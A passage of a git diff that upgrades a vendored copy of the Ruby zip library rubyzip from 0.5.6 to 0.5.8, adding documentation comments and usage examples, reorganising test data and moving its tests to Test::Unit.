1.7.x compatibility @@ -26,10 +28,54 @@ module Zip # an empty string the first time and then nil. # not so in 1.7.x EMPTY_FILE_RETURNS_EMPTY_STRING_FIRST = RUBY_MINOR_VERSION != 7 - + + # ZipInputStream is the basic class for reading zip entries in a + # zip file. It is possible to create a ZipInputStream object directly, + # passing the zip file name to the constructor, but more often than not + # the ZipInputStream will be obtained from a ZipFile (perhaps using the + # ZipFileSystem interface) object for a particular entry in the zip + # archive. + # + # A ZipInputStream inherits IOExtras::AbstractInputStream in order + # to provide an IO-like interface for reading from a single zip + # entry. Beyond methods for mimicking an IO-object it contains + # the method get_next_entry for iterating through the entries of + # an archive. get_next_entry returns a ZipEntry object that describes + # the zip entry the ZipInputStream is currently reading from. + # + # Example that creates a zip archive with ZipOutputStream and reads it + # back again with a ZipInputStream. + # + # require 'zip/zip' + # + # Zip::ZipOutputStream::open("my.zip") { + # |io| + # + # io.put_next_entry("first_entry.txt") + # io.write "Hello world!" + # + # io.put_next_entry("adir/first_entry.txt") + # io.write "Hello again!" + # } + # + # + # Zip::ZipInputStream::open("my.zip") { + # |io| + # + # while (entry = io.get_next_entry) + # puts "Contents of #{entry.name}: '#{io.read}'" + # end + # } + # + # java.util.zip.ZipInputStream is the original inspiration for this + # class. + class ZipInputStream include IOExtras::AbstractInputStream + # Opens the indicated zip file. An exception is thrown + # if the specified offset in the specified filename is + # not a local zip entry header. def initialize(filename, offset = 0) super() @archiveIO = File.open(filename, "rb") @@ -41,7 +87,10 @@ module Zip def close @archiveIO.close end - + + # Same as #initialize but if a block is passed the opened + # stream is passed to the block and closed when the block + # returns. def ZipInputStream.open(filename) return new(filename) unless block_given? @@ -51,12 +100,17 @@ module Zip zio.close if zio end + # Returns a ZipEntry object. It is necessary to call this + # method on a newly created ZipInputStream before reading from + # the first entry in the archive. Returns nil when there are + # no more entries. def get_next_entry @archiveIO.seek(@currentEntry.next_header_offset, IO::SEEK_SET) if @currentEntry open_entry end + # Rewinds the stream to the beginning of the current entry def rewind return if @currentEntry.nil? @lineno = 0 @@ -65,6 +119,13 @@ module Zip open_entry end + # Modeled after IO.read + def read(numberOfBytes = nil) + @decompressor.read(numberOfBytes) + end + + protected + def open_entry @currentEntry = ZipEntry.read_local_entry(@archiveIO) if (@currentEntry == nil) @@ -82,10 +143,6 @@ module Zip return @currentEntry end - def read(numberOfBytes = nil) - @decompressor.read(numberOfBytes) - end - protected def produce_input @decompressor.produce_input end @@ -505,11 +562,31 @@ module Zip end + # ZipOutputStream is the basic class for writing zip files. It is + # possible to create a ZipOutputStream object directly, passing + # the zip file name to the constructor, but more often than not + # the ZipOutputStream will be obtained from a ZipFile (perhaps using the + # ZipFileSystem interface) object for a particular entry in the zip + # archive. + # + # A ZipOutputStream inherits IOExtras::AbstractOutputStream in order + # to provide an IO-like interface for writing to a single zip + # entry. Beyond methods for mimicking an IO-object it contains + # the method put_next_entry that closes the current entry + # and creates a new. + # + # Please refer to ZipInputStream for example code. + # + # java.util.zip.ZipOutputStream is the original inspiration for this + # class. + class ZipOutputStream include IOExtras::AbstractOutputStream attr_accessor :comment + # Opens the indicated zip file. If a file with that name already + # exists it will be overwritten. def initialize(fileName) super() @fileName = fileName @@ -521,6 +598,9 @@ module Zip @comment = nil end + # Same as #initialize but if a block is passed the opened + # stream is passed to the block and closed when the block + # returns. def ZipOutputStream.open(fileName) return new(fileName) unless block_given? zos = new(fileName) @@ -529,6 +609,7 @@ module Zip zos.close if zos end + # Closes the stream and writes the central directory to the zip file def close return if @closed finalize_current_entry @@ -538,6 +619,8 @@ module Zip @closed = true end + # Closes the current entry and opens a new for writing. + # +entry+ can be a ZipEntry object or a string. def put_next_entry(entry, level = Zlib::DEFAULT_COMPRESSION) raise ZipError, "zip stream is closed" if @closed newEntry = entry.kind_of?(ZipEntry) ? entry : ZipEntry.new(@fileName, entry.to_s) @@ -613,6 +696,7 @@ module Zip end public + # Modeled after IO.<< def << (data) @compressor << data end @@ -678,7 +762,7 @@ module Zip end - class ZipEntrySet + class ZipEntrySet #:nodoc:all include Enumerable def initialize(anEnumerable = []) @@ -733,7 +817,7 @@ module Zip end - class ZipCentralDirectory #:nodoc:all + class ZipCentralDirectory include Enumerable END_OF_CENTRAL_DIRECTORY_SIGNATURE = 0x06054b50 @@ -741,24 +825,25 @@ module Zip STATIC_EOCD_SIZE = 22 attr_reader :comment - + + # Returns an Enumerable containing the entries. def entries @entrySet.entries end - def initialize(entries = ZipEntrySet.new, comment = "") + def initialize(entries = ZipEntrySet.new, comment = "") #:nodoc: super() @entrySet = entries.kind_of?(ZipEntrySet) ? entries : ZipEntrySet.new(entries) @comment = comment end - def write_to_stream(io) + def write_to_stream(io) #:nodoc: offset = io.tell @entrySet.each { |entry| entry.write_c_dir_entry(io) } write_e_o_c_d(io, offset) end - def write_e_o_c_d(io, offset) + def write_e_o_c_d(io, offset) #:nodoc: io << [END_OF_CENTRAL_DIRECTORY_SIGNATURE, 0 , # @numberOfThisDisk @@ -772,13 +857,13 @@ module Zip end private :write_e_o_c_d - def cdir_size + def cdir_size #:nodoc: # does not include eocd @entrySet.inject(0) { |value, entry| entry.cdir_header_size + value } end private :cdir_size - def read_e_o_c_d(io) + def read_e_o_c_d(io) #:nodoc: buf = get_e_o_c_d(io) @numberOfThisDisk = ZipEntry::read_zip_short(buf) @numberOfDiskWithStartOfCDir = ZipEntry::read_zip_short(buf) @@ -791,7 +876,7 @@ module Zip raise ZipError, "Zip consistency problem while reading eocd structure" unless buf.size == 0 end - def read_central_directory_entries(io) + def read_central_directory_entries(io) #:nodoc: begin io.seek(@cdirOffset, IO::SEEK_SET) rescue Errno::EINVAL @@ -803,12 +888,12 @@ module Zip } end - def read_from_stream(io) + def read_from_stream(io) #:nodoc: read_e_o_c_d(io) read_central_directory_entries(io) end - def get_e_o_c_d(io) + def get_e_o_c_d(io) #:nodoc: begin io.seek(-MAX_END_OF_CENTRAL_DIRECTORY_STRUCTURE_SIZE, IO::SEEK_END) rescue Errno::EINVAL @@ -825,16 +910,19 @@ module Zip end return buf end - + + # For iterating over the entries. def each(&proc) @entrySet.each(&proc) end + # Returns the number of entries in the central directory (and + # consequently in the zip archive). def size @entrySet.size end - def ZipCentralDirectory.read_from_stream(io) + def ZipCentralDirectory.read_from_stream(io) #:nodoc: cdir = new cdir.read_from_stream(io) return cdir @@ -842,7 +930,7 @@ module Zip return nil end - def == (other) + def == (other) #:nodoc: return false unless other.kind_of?(ZipCentralDirectory) @entrySet.entries.sort == other.entries.sort && comment == other.comment end @@ -856,19 +944,64 @@ module Zip class ZipCompressionMethodError < ZipError; end class ZipEntryNameError < ZipError; end + # ZipFile is modeled after java.util.zip.ZipFile from the Java SDK. + # The most important methods are those inherited from + # ZipCentralDirectory for accessing information about the entries in + # the archive and methods such as get_input_stream and + # get_output_stream for reading from and writing entries to the + # archive. The class includes a few convenience methods such as + # #extract for extracting entries to the filesystem, and #remove, + # #replace, #rename and #mkdir for making simple modifications to + # the archive. + # + # Modifications to a zip archive are not committed until #commit or + # #close is called. The method #open accepts a block following + # the pattern from File.open offering a simple way to + # automatically close the archive when the block returns. + # + # The following example opens zip archive my.zip + # (creating it if it doesn't exist) and adds an entry + # first.txt and a directory entry a_dir + # to it. + # + # require 'zip/zip' + # + # Zip::ZipFile.open("my.zip", Zip::ZipFile::CREATE) { + # |zipfile| + # zipfile.get_output_stream("first.txt") { |f| f.puts "Hello from ZipFile" } + # zipfile.mkdir("a_dir") + # } + # + # The next example reopens my.zip writes the contents of + # first.txt to standard out and deletes the entry from + # the archive. + # + # require 'zip/zip' + # + # Zip::ZipFile.open("my.zip", Zip::ZipFile::CREATE) { + # |zipfile| + # puts zipfile.read("first.txt") + # zipfile.remove("first.txt") + # } + # + # ZipFileSystem offers an alternative API that emulates ruby's + # interface for accessing the filesystem, ie. the File and Dir classes. + class ZipFile < ZipCentralDirectory CREATE = 1 attr_reader :name + # Opens a zip archive. Pass true as the second parameter to create + # a new archive if it doesn't exist already. def initialize(fileName, create = nil) super() @name = fileName @comment = "" if (File.exists?(fileName)) File.open(name, "rb") { |f| read_from_stream(f) } - elsif (create == ZipFile::CREATE) + elsif (create) @entrySet = ZipEntrySet.new else raise ZipError, "File #{fileName} not found" @@ -876,7 +1009,10 @@ module Zip @create = create @storedEntries = @entrySet.dup end - + + # Same as #new. If a block is passed the ZipFile object is passed + # to the block and is automatically closed afterwards just as with + # ruby's builtin File.open method. def ZipFile.open(fileName, create = nil) zf = ZipFile.new(fileName, create) if block_given? @@ -890,8 +1026,15 @@ module Zip end end + # Returns the zip files comment, if it has one attr_accessor :comment + # Iterates over the contents of the ZipFile. This is more efficient + # than using a ZipInputStream since this methods simply iterates + # through the entries in the central directory structure in the archive + # whereas ZipInputStream jumps through the entire archive accessing the + # local entry headers (which contain the same information as the + # central directory). def ZipFile.foreach(aZipFileName, &block) ZipFile.open(aZipFileName) { |zipFile| @@ -899,10 +1042,16 @@ module Zip } end + # Returns an input stream to the specified entry. If a block is passed + # the stream object is passed to the block and the stream is automatically + # closed afterwards just as with ruby's builtin File.open method. def get_input_stream(entry, &aProc) get_entry(entry).get_input_stream(&aProc) end + # Returns an output stream to the specified entry. If a block is passed + # the stream object is passed to the block and the stream is automatically + # closed afterwards just as with ruby's builtin File.open method. def get_output_stream(entry, &aProc) newEntry = entry.kind_of?(ZipEntry) ? entry : ZipEntry.new(@name, entry.to_s) if newEntry.directory? @@ -914,14 +1063,17 @@ module Zip zipStreamableEntry.get_output_stream(&aProc) end + # Returns the name of the zip archive def to_s @name end + # Returns a string containing the contents of the specified entry def read(entry) get_input_stream(entry) { |is| is.read } end + # Convenience method for adding the contents of a file to the archive def add(entry, srcPath, &continueOnExistsProc) continueOnExistsProc ||= proc { false } check_entry_exists(entry, continueOnExistsProc, "add") @@ -933,21 +1085,26 @@ module Zip end end + # Removes the specified entry. def remove(entry) @entrySet.delete(get_entry(entry)) end + # Renames the specified entry. def rename(entry, newName, &continueOnExistsProc) foundEntry = get_entry(entry) check_entry_exists(newName, continueOnExistsProc, "rename") foundEntry.name=newName end + # Replaces the specified entry with the contents of srcPath (from + # the file system). def replace(entry, srcPath) check_file(srcPath) add(remove(entry), srcPath) end - + + # Extracts entry to file destPath. def extract(entry, destPath, &onExistsProc) onExistsProc ||= proc { false } foundEntry = get_entry(entry) @@ -957,7 +1114,9 @@ module Zip write_file(foundEntry, destPath, &onExistsProc) end end - + + # Commits changes that has been made since the previous commit to + # the zip archive. def commit return if ! commit_required? on_success_replace(name) { @@ -972,22 +1131,29 @@ module Zip } initialize(name) end - + + # Closes the zip file committing any changes that has been made. def close commit end + # Returns true if any changes has been made to this archive since + # the previous commit def commit_required? return @entrySet != @storedEntries || @create == ZipFile::CREATE end + # Searches for entry with the specified name. Returns nil if + # no entry is found. See also get_entry def find_entry(entry) @entrySet.detect { |e| e.name.sub(/\/$/, "") == entry.to_s.sub(/\/$/, "") } end - + + # Searches for an entry just as find_entry, but throws Errno::ENOENT + # if no entry is found. def get_entry(entry) selectedEntry = find_entry(entry) unless selectedEntry @@ -996,6 +1162,7 @@ module Zip return selectedEntry end + # Creates a directory def mkdir(entryName, permissionInt = 0) #permissionInt ignored if find_entry(entryName) raise Errno::EEXIST, "File exists - #{entryName}" @@ -1256,8 +1423,8 @@ module Zip register_map def initialize(binstr = nil) - @uid = nil - @gid = nil + @uid = 0 + @gid = 0 binstr and merge(binstr) end attr_accessor :uid, :gid diff --git a/vendor/rubyzip-0.5.6/zip/zipfilesystem.rb b/vendor/rubyzip-0.5.8/lib/zip/zipfilesystem.rb old mode 100755 new mode 100644 similarity index 84% rename from vendor/rubyzip-0.5.6/zip/zipfilesystem.rb rename to vendor/rubyzip-0.5.8/lib/zip/zipfilesystem.rb index 3db200f5..75645b43 --- a/vendor/rubyzip-0.5.6/zip/zipfilesystem.rb +++ b/vendor/rubyzip-0.5.8/lib/zip/zipfilesystem.rb @@ -1,9 +1,42 @@ require 'zip/zip' module Zip + + # The ZipFileSystem API provides an API for accessing entries in + # a zip archive that is similar to ruby's builtin File and Dir + # classes. + # + # Requiring 'zip/zipfilesystem' includes this module in ZipFile + # making the methods in this module available on ZipFile objects. + # + # Using this API the following example creates a new zip file + # my.zip containing a normal entry with the name + # first.txt, a directory entry named mydir + # and finally another normal entry named second.txt + # + # require 'zip/zipfilesystem' + # + # Zip::ZipFile.open("my.zip", Zip::ZipFile::CREATE) { + # |zipfile| + # zipfile.file.open("first.txt", "w") { |f| f.puts "Hello world" } + # zipfile.dir.mkdir("mydir") + # zipfile.file.open("mydir/second.txt", "w") { |f| f.puts "Hello again" } + # } + # + # Reading is as easy as writing, as the following example shows. The + # example writes the contents of first.txt from zip archive + # my.zip to standard out. + # + # require 'zip/zipfilesystem' + # + # Zip::ZipFile.open("my.zip") { + # |zipfile| + # puts zipfile.file.read("first.txt") + # } + module ZipFileSystem - def initialize + def initialize # :nodoc: mappedZip = ZipFileNameMapper.new(self) @zipFsDir = ZipFsDir.new(mappedZip) @zipFsFile = ZipFsFile.new(mappedZip) @@ -11,14 +44,26 @@ module Zip @zipFsFile.dir = @zipFsDir end + # Returns a ZipFsDir which is much like ruby's builtin Dir (class) + # object, except it works on the ZipFile on which this method is + # invoked def dir @zipFsDir end + # Returns a ZipFsFile which is much like ruby's builtin File (class) + # object, except it works on the ZipFile on which this method is + # invoked def file @zipFsFile end - + + # Instances of this class are normally accessed via the accessor + # ZipFile::file. An instance of ZipFsFile behaves like ruby's + # builtin File (class) object, except it works on ZipFile entries. + # + # The individual methods are not documented due to their + # similarity with the methods in File class ZipFsFile attr_writer :dir @@ -198,7 +243,7 @@ module Zip @mappedZip.get_entry(fileName).size end - # nil for not found and nil for directories + # Returns nil for not found and nil for directories def size?(fileName) entry = @mappedZip.find_entry(fileName) return (entry == nil || entry.directory?) ? nil : entry.size @@ -367,6 +412,12 @@ module Zip end end + # Instances of this class are normally accessed via the accessor + # ZipFile::dir. An instance of ZipFsDir behaves like ruby's + # builtin Dir (class) object, except it works on ZipFile entries. + # + # The individual methods are not documented due to their + # similarity with the methods in Dir class ZipFsDir def initialize(mappedZip) @@ -441,7 +492,7 @@ module Zip end - class ZipFsDirIterator + class ZipFsDirIterator # :nodoc:all include Enumerable def initialize(arrayOfFileNames) @@ -481,7 +532,7 @@ module Zip # All access to ZipFile from ZipFsFile and ZipFsDir goes through a # ZipFileNameMapper, which has one responsibility: ensure - class ZipFileNameMapper + class ZipFileNameMapper # :nodoc:all include Enumerable def initialize(zipFile) diff --git a/vendor/rubyzip-0.5.6/zip/ziprequire.rb b/vendor/rubyzip-0.5.8/lib/zip/ziprequire.rb old mode 100755 new mode 100644 similarity index 57% rename from vendor/rubyzip-0.5.6/zip/ziprequire.rb rename to vendor/rubyzip-0.5.8/lib/zip/ziprequire.rb index 9cd4411c..5a4c4d48 --- a/vendor/rubyzip-0.5.6/zip/ziprequire.rb +++ b/vendor/rubyzip-0.5.8/lib/zip/ziprequire.rb @@ -1,6 +1,35 @@ +# With ziprequire you can load ruby modules from a zip file. This means +# ruby's module include path can include zip-files. +# +# The following example creates a zip file with a single entry +# log/simplelog.rb that contains a single function +# simpleLog: +# +# require 'zip/zipfilesystem' +# +# Zip::ZipFile.open("my.zip", true) { +# |zf| +# zf.file.open("log/simplelog.rb", "w") { +# |f| +# f.puts "def simpleLog(v)" +# f.puts ' Kernel.puts "INFO: #{v}"' +# f.puts "end" +# } +# } +# +# To use the ruby module stored in the zip archive simply require +# zip/ziprequire and include the my.zip zip +# file in the module search path. The following command shows one +# way to do this: +# +# ruby -rzip/ziprequire -Imy.zip -e " require 'log/simplelog'; simpleLog 'Hello world' " + +#$: << 'data/rubycode.zip' << 'data/rubycode2.zip' + + require 'zip/zip' -class ZipList +class ZipList #:nodoc:all def initialize(zipFileList) @zipFileList = zipFileList end @@ -23,7 +52,7 @@ class ZipList end -module Kernel +module Kernel #:nodoc:all alias :oldRequire :require def require(moduleName) diff --git a/vendor/rubyzip-0.5.6/samples/example.rb b/vendor/rubyzip-0.5.8/samples/example.rb old mode 100755 new mode 100644 similarity index 99% rename from vendor/rubyzip-0.5.6/samples/example.rb rename to vendor/rubyzip-0.5.8/samples/example.rb index 35ceb09d..741afa76 --- a/vendor/rubyzip-0.5.6/samples/example.rb +++ b/vendor/rubyzip-0.5.8/samples/example.rb @@ -1,6 +1,6 @@ #!/usr/bin/env ruby -$: << ".." +$: << "../lib" system("zip example.zip example.rb gtkRubyzip.rb") require 'zip/zip' diff --git a/vendor/rubyzip-0.5.6/samples/example_filesystem.rb b/vendor/rubyzip-0.5.8/samples/example_filesystem.rb old mode 100755 new mode 100644 similarity index 98% rename from vendor/rubyzip-0.5.6/samples/example_filesystem.rb rename to vendor/rubyzip-0.5.8/samples/example_filesystem.rb index 8fc5ef83..867e8d4f --- a/vendor/rubyzip-0.5.6/samples/example_filesystem.rb +++ b/vendor/rubyzip-0.5.8/samples/example_filesystem.rb @@ -1,6 +1,6 @@ #!/usr/bin/env ruby -$: << ".." +$: << "../lib" require 'zip/zipfilesystem' require 'ftools' diff --git a/vendor/rubyzip-0.5.6/samples/gtkRubyzip.rb b/vendor/rubyzip-0.5.8/samples/gtkRubyzip.rb old mode 100755 new mode 100644 similarity index 99% rename from vendor/rubyzip-0.5.6/samples/gtkRubyzip.rb rename to vendor/rubyzip-0.5.8/samples/gtkRubyzip.rb index d2c3a204..5d91829d --- a/vendor/rubyzip-0.5.6/samples/gtkRubyzip.rb +++ b/vendor/rubyzip-0.5.8/samples/gtkRubyzip.rb @@ -1,6 +1,6 @@ #!/usr/bin/env ruby -$: << ".." +$: << "../lib" $VERBOSE = true diff --git a/vendor/rubyzip-0.5.6/samples/write_simple.rb b/vendor/rubyzip-0.5.8/samples/write_simple.rb old mode 100755 new mode 100644 similarity index 90% rename from vendor/rubyzip-0.5.6/samples/write_simple.rb rename to vendor/rubyzip-0.5.8/samples/write_simple.rb index 47b72adb..648989a2 --- a/vendor/rubyzip-0.5.6/samples/write_simple.rb +++ b/vendor/rubyzip-0.5.8/samples/write_simple.rb @@ -1,6 +1,6 @@ #!/usr/bin/env ruby -$: << ".." +$: << "../lib" require 'zip/zip' @@ -10,4 +10,4 @@ ZipOutputStream.open('simple.zip') { |zos| ze = zos.put_next_entry 'entry.txt' zos.puts "Hello world" -} \ No newline at end of file +} diff --git a/vendor/rubyzip-0.5.6/samples/zipfind.rb b/vendor/rubyzip-0.5.8/samples/zipfind.rb old mode 100755 new mode 100644 similarity index 98% rename from vendor/rubyzip-0.5.6/samples/zipfind.rb rename to vendor/rubyzip-0.5.8/samples/zipfind.rb index 96c489d4..54ad936e --- a/vendor/rubyzip-0.5.6/samples/zipfind.rb +++ b/vendor/rubyzip-0.5.8/samples/zipfind.rb @@ -2,7 +2,7 @@ $VERBOSE = true -$: << ".." +$: << "../lib" require 'zip/zip' require 'find' diff --git a/vendor/rubyzip-0.5.6/test/alltests.rb b/vendor/rubyzip-0.5.8/test/alltests.rb old mode 100755 new mode 100644 similarity index 100% rename from vendor/rubyzip-0.5.6/test/alltests.rb rename to vendor/rubyzip-0.5.8/test/alltests.rb diff --git a/vendor/rubyzip-0.5.6/test/file1.txt b/vendor/rubyzip-0.5.8/test/data/file1.txt old mode 100755 new mode 100644 similarity index 100% rename from vendor/rubyzip-0.5.6/test/file1.txt rename to vendor/rubyzip-0.5.8/test/data/file1.txt diff --git a/vendor/rubyzip-0.5.6/test/file1.txt.deflatedData b/vendor/rubyzip-0.5.8/test/data/file1.txt.deflatedData old mode 100755 new mode 100644 similarity index 100% rename from vendor/rubyzip-0.5.6/test/file1.txt.deflatedData rename to vendor/rubyzip-0.5.8/test/data/file1.txt.deflatedData diff --git a/vendor/rubyzip-0.5.6/test/file2.txt b/vendor/rubyzip-0.5.8/test/data/file2.txt old mode 100755 new mode 100644 similarity index 100% rename from vendor/rubyzip-0.5.6/test/file2.txt rename to vendor/rubyzip-0.5.8/test/data/file2.txt diff --git a/vendor/rubyzip-0.5.6/test/notzippedruby.rb b/vendor/rubyzip-0.5.8/test/data/notzippedruby.rb old mode 100755 new mode 100644 similarity index 100% rename from vendor/rubyzip-0.5.6/test/notzippedruby.rb rename to vendor/rubyzip-0.5.8/test/data/notzippedruby.rb diff --git a/vendor/rubyzip-0.5.6/test/rubycode.zip b/vendor/rubyzip-0.5.8/test/data/rubycode.zip old mode 100755 new mode 100644 similarity index 100% rename from vendor/rubyzip-0.5.6/test/rubycode.zip rename to vendor/rubyzip-0.5.8/test/data/rubycode.zip diff --git a/vendor/rubyzip-0.5.6/test/rubycode2.zip b/vendor/rubyzip-0.5.8/test/data/rubycode2.zip old mode 100755 new mode 100644 similarity index 100% rename from vendor/rubyzip-0.5.6/test/rubycode2.zip rename to vendor/rubyzip-0.5.8/test/data/rubycode2.zip diff --git a/vendor/rubyzip-0.5.6/test/testDirectory.bin b/vendor/rubyzip-0.5.8/test/data/testDirectory.bin old mode 100755 new mode 100644 similarity index 100% rename from vendor/rubyzip-0.5.6/test/testDirectory.bin rename to vendor/rubyzip-0.5.8/test/data/testDirectory.bin diff --git a/vendor/rubyzip-0.5.6/test/zipWithDirs.zip b/vendor/rubyzip-0.5.8/test/data/zipWithDirs.zip old mode 100755 new mode 100644 similarity index 100% rename from vendor/rubyzip-0.5.6/test/zipWithDirs.zip rename to vendor/rubyzip-0.5.8/test/data/zipWithDirs.zip diff --git a/vendor/rubyzip-0.5.8/test/gentestfiles.rb b/vendor/rubyzip-0.5.8/test/gentestfiles.rb new file mode 100644 index 00000000..1b579702 --- /dev/null +++ b/vendor/rubyzip-0.5.8/test/gentestfiles.rb @@ -0,0 +1,155 @@ +#!/usr/bin/env ruby + +$VERBOSE = true + +class TestFiles + RANDOM_ASCII_FILE1 = "data/generated/randomAscii1.txt" + RANDOM_ASCII_FILE2 = "data/generated/randomAscii2.txt" + RANDOM_ASCII_FILE3 = "data/generated/randomAscii3.txt" + RANDOM_BINARY_FILE1 = "data/generated/randomBinary1.bin" + RANDOM_BINARY_FILE2 = "data/generated/randomBinary2.bin" + + EMPTY_TEST_DIR = "data/generated/emptytestdir" + + ASCII_TEST_FILES = [ RANDOM_ASCII_FILE1, RANDOM_ASCII_FILE2, RANDOM_ASCII_FILE3 ] + BINARY_TEST_FILES = [ RANDOM_BINARY_FILE1, RANDOM_BINARY_FILE2 ] + TEST_DIRECTORIES = [ EMPTY_TEST_DIR ] + TEST_FILES = [ ASCII_TEST_FILES, BINARY_TEST_FILES, EMPTY_TEST_DIR ].flatten! + + def TestFiles.create_test_files(recreate) + if (recreate || + ! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) })) + + Dir.mkdir "data/generated" rescue Errno::EEXIST + + ASCII_TEST_FILES.each_with_index { + |filename, index| + create_random_ascii(filename, 1E4 * (index+1)) + } + + BINARY_TEST_FILES.each_with_index { + |filename, index| + create_random_binary(filename, 1E4 * (index+1)) + } + + ensure_dir(EMPTY_TEST_DIR) + end + end + + private + def TestFiles.create_random_ascii(filename, size) + File.open(filename, "wb") { + |file| + while (file.tell < size) + file << rand + end + } + end + + def TestFiles.create_random_binary(filename, size) + File.open(filename, "wb") { + |file| + while (file.tell < size) + file << [rand].pack("V") + end + } + end + + def TestFiles.ensure_dir(name) + if File.exists?(name) + return if File.stat(name).directory? + File.delete(name) + end + Dir.mkdir(name) + end + +end + + + +# For representation and creation of +# test data +class TestZipFile + attr_accessor :zip_name, :entry_names, :comment + + def initialize(zip_name, entry_names, comment = "") + @zip_name=zip_name + @entry_names=entry_names + @comment = comment + end + + def TestZipFile.create_test_zips(recreate) + files = Dir.entries("data/generated") + if (recreate || + ! (files.index(File.basename(TEST_ZIP1.zip_name)) && + files.index(File.basename(TEST_ZIP2.zip_name)) && + files.index(File.basename(TEST_ZIP3.zip_name)) && + files.index(File.basename(TEST_ZIP4.zip_name)) && + files.index("empty.txt") && + files.index("short.txt") && + files.index("longAscii.txt") && + files.index("longBinary.bin") )) + raise "failed to create test zip '#{TEST_ZIP1.zip_name}'" unless + system("zip #{TEST_ZIP1.zip_name} data/file2.txt") + raise "failed to remove entry from '#{TEST_ZIP1.zip_name}'" unless + system("zip #{TEST_ZIP1.zip_name} -d data/file2.txt") + + File.open("data/generated/empty.txt", "w") {} + + File.open("data/generated/short.txt", "w") { |file| file << "ABCDEF" } + ziptestTxt="" + File.open("data/file2.txt") { |file| ziptestTxt=file.read } + File.open("data/generated/longAscii.txt", "w") { + |file| + while (file.tell < 1E5) + file << ziptestTxt + end + } + + testBinaryPattern="" + File.open("data/generated/empty.zip") { |file| testBinaryPattern=file.read } + testBinaryPattern *= 4 + + File.open("data/generated/longBinary.bin", "wb") { + |file| + while (file.tell < 3E5) + file << testBinaryPattern << rand + end + } + raise "failed to create test zip '#{TEST_ZIP2.zip_name}'" unless + system("zip #{TEST_ZIP2.zip_name} #{TEST_ZIP2.entry_names.join(' ')}") + + # without bash system interprets everything after echo as parameters to + # echo including | zip -z ... + raise "failed to add comment to test zip '#{TEST_ZIP2.zip_name}'" unless + system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zip_name}\"") + + raise "failed to create test zip '#{TEST_ZIP3.zip_name}'" unless + system("zip #{TEST_ZIP3.zip_name} #{TEST_ZIP3.entry_names.join(' ')}") + + raise "failed to create test zip '#{TEST_ZIP4.zip_name}'" unless + system("zip #{TEST_ZIP4.zip_name} #{TEST_ZIP4.entry_names.join(' ')}") + end + rescue + raise $!.to_s + + "\n\nziptest.rb requires the Info-ZIP program 'zip' in the path\n" + + "to create test data. If you don't have it you can download\n" + + "the necessary test files at http://sf.net/projects/rubyzip." + end + + TEST_ZIP1 = TestZipFile.new("data/generated/empty.zip", []) + TEST_ZIP2 = TestZipFile.new("data/generated/4entry.zip", %w{ data/generated/longAscii.txt data/generated/empty.txt data/generated/short.txt data/generated/longBinary.bin}, + "my zip comment") + TEST_ZIP3 = TestZipFile.new("data/generated/test1.zip", %w{ data/file1.txt }) + TEST_ZIP4 = TestZipFile.new("data/generated/zipWithDir.zip", [ "data/file1.txt", + TestFiles::EMPTY_TEST_DIR]) +end + + +END { + TestFiles::create_test_files(ARGV.index("recreate") != nil || + ARGV.index("recreateonly") != nil) + TestZipFile::create_test_zips(ARGV.index("recreate") != nil || + ARGV.index("recreateonly") != nil) + exit if ARGV.index("recreateonly") != nil +} diff --git a/vendor/rubyzip-0.5.6/test/ioextrastest.rb b/vendor/rubyzip-0.5.8/test/ioextrastest.rb old mode 100755 new mode 100644 similarity index 62% rename from vendor/rubyzip-0.5.6/test/ioextrastest.rb rename to vendor/rubyzip-0.5.8/test/ioextrastest.rb index 673e3029..b18e9db9 --- a/vendor/rubyzip-0.5.6/test/ioextrastest.rb +++ b/vendor/rubyzip-0.5.8/test/ioextrastest.rb @@ -2,14 +2,14 @@ $VERBOSE = true -$: << ".." +$: << "../lib" -require 'rubyunit' +require 'test/unit' require 'zip/ioextras' include IOExtras -class FakeIOTest < RUNIT::TestCase +class FakeIOTest < Test::Unit::TestCase class FakeIOUsingClass include FakeIO end @@ -25,7 +25,7 @@ class FakeIOTest < RUNIT::TestCase end end -class AbstractInputStreamTest < RUNIT::TestCase +class AbstractInputStreamTest < Test::Unit::TestCase # AbstractInputStream subclass that provides a read method TEST_LINES = [ "Hello world#{$/}", @@ -60,32 +60,32 @@ class AbstractInputStreamTest < RUNIT::TestCase end def test_gets - assert_equals(TEST_LINES[0], @io.gets) - assert_equals(1, @io.lineno) - assert_equals(TEST_LINES[1], @io.gets) - assert_equals(2, @io.lineno) - assert_equals(TEST_LINES[2], @io.gets) - assert_equals(3, @io.lineno) - assert_equals(nil, @io.gets) - assert_equals(4, @io.lineno) + assert_equal(TEST_LINES[0], @io.gets) + assert_equal(1, @io.lineno) + assert_equal(TEST_LINES[1], @io.gets) + assert_equal(2, @io.lineno) + assert_equal(TEST_LINES[2], @io.gets) + assert_equal(3, @io.lineno) + assert_equal(nil, @io.gets) + assert_equal(4, @io.lineno) end def test_getsMultiCharSeperator - assert_equals("Hell", @io.gets("ll")) - assert_equals("o world#{$/}this is the second l", @io.gets("d l")) + assert_equal("Hell", @io.gets("ll")) + assert_equal("o world#{$/}this is the second l", @io.gets("d l")) end def test_each_line lineNumber=0 @io.each_line { |line| - assert_equals(TEST_LINES[lineNumber], line) + assert_equal(TEST_LINES[lineNumber], line) lineNumber+=1 } end def test_readlines - assert_equals(TEST_LINES, @io.readlines) + assert_equal(TEST_LINES, @io.readlines) end def test_readline @@ -98,7 +98,7 @@ class AbstractInputStreamTest < RUNIT::TestCase end end -class AbstractOutputStreamTest < RUNIT::TestCase +class AbstractOutputStreamTest < Test::Unit::TestCase class TestOutputStream include AbstractOutputStream @@ -128,77 +128,77 @@ class AbstractOutputStreamTest < RUNIT::TestCase def test_write count = @outputStream.write("a little string") - assert_equals("a little string", @outputStream.buffer) - assert_equals("a little string".length, count) + assert_equal("a little string", @outputStream.buffer) + assert_equal("a little string".length, count) count = @outputStream.write(". a little more") - assert_equals("a little string. a little more", @outputStream.buffer) - assert_equals(". a little more".length, count) + assert_equal("a little string. a little more", @outputStream.buffer) + assert_equal(". a little more".length, count) end def test_print $\ = nil # record separator set to nil @outputStream.print("hello") - assert_equals("hello", @outputStream.buffer) + assert_equal("hello", @outputStream.buffer) @outputStream.print(" world.") - assert_equals("hello world.", @outputStream.buffer) + assert_equal("hello world.", @outputStream.buffer) @outputStream.print(" You ok ", "out ", "there?") - assert_equals("hello world. You ok out there?", @outputStream.buffer) + assert_equal("hello world. You ok out there?", @outputStream.buffer) $\ = "\n" @outputStream.print - assert_equals("hello world. You ok out there?\n", @outputStream.buffer) + assert_equal("hello world. You ok out there?\n", 